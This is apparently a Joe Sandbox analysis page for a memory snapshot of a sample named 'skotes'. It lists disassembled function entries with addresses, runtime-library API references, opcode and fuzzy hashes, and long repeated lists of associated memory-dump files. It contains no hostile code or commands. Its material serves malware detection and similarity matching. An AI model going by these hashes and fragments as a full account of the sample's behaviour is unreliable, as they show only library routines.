Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 0a30e0d581efc1d578b4ca71b061921bc467c5f5abcec7d2283f4a7ddbb5064d
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 3B314B30B08255AFCF1AAB7844927FEBBB69F95328F0401A9D485DB2C2DB245D4AC3D1

Function 001C4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001C4877
___except_validate_context_record.LIBVCRUNTIME ref: 001C487F
_ValidateLocalCookies.LIBCMT ref: 001C4908
__IsNonwritableInCurrentImage.LIBCMT ref: 001C4933
_ValidateLocalCookies.LIBCMT ref: 001C4988

Strings

csm, xrefs: 001C491D

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 21342bcfb91291b2eeea87afdf7b94d94420f21b383a60dca8f2fe42336290d3
Instruction ID: abe5bf04d367360486e3bc3fa865ff2436369bd1783293924c38eea58d30c5d3
Opcode Fuzzy Hash: 21342bcfb91291b2eeea87afdf7b94d94420f21b383a60dca8f2fe42336290d3
Instruction Fuzzy Hash: 4941F434A04259ABCF10DFA8C894F9EBBB5BF29318F14815DE8185B392C731EA41CB91

Function 001BDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 001BDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 001BDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 001BDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 001BDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 001BDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 001BDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 001BDE74

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: c3400708fd100ccadbed9000f7a139ee7fad0ae3ea6ade24cc08eee442a1d6eb
Instruction ID: f25ddd7b3f6edf4151168262d454d5f7fe8373251286bbc6ddee91fb6dc3e422
Opcode Fuzzy Hash: c3400708fd100ccadbed9000f7a139ee7fad0ae3ea6ade24cc08eee442a1d6eb
Instruction Fuzzy Hash: DE419D30A042449ACF1DFFB094967FD7BA56F25304F1440A9E9866F2C3EB758E09CB62

Function 001BE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001BE7D7

Part of subcall function 001BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001BE577
Part of subcall function 001BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001BE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001BE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001BE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001BE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001BE879
Concurrency::location::_Assign.LIBCMT ref: 001BE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001BE8B5

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 7e9dd48c4b0b0ee7bc4ac9e3e15676d2f29e8b355db4ca4cb1f4bff7fc58ba7b
Instruction ID: d51bac15f3d7c17577f9827f2d23e1bb88fe9f8aca94bcc885a193d6982e554d
Opcode Fuzzy Hash: 7e9dd48c4b0b0ee7bc4ac9e3e15676d2f29e8b355db4ca4cb1f4bff7fc58ba7b
Instruction Fuzzy Hash: 1541F779A002059FCB05EFA4C895AEDB7B5BF48310F1980A9ED499B386DB70A941CB91

Function 001A6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001A6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 001A6F22
std::_Rethrow_future_exception.LIBCPMT ref: 001A6F32
__Mtx_unlock.LIBCPMT ref: 001A6FD5
__Mtx_unlock.LIBCPMT ref: 001A70DB
__Mtx_unlock.LIBCPMT ref: 001A7116

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
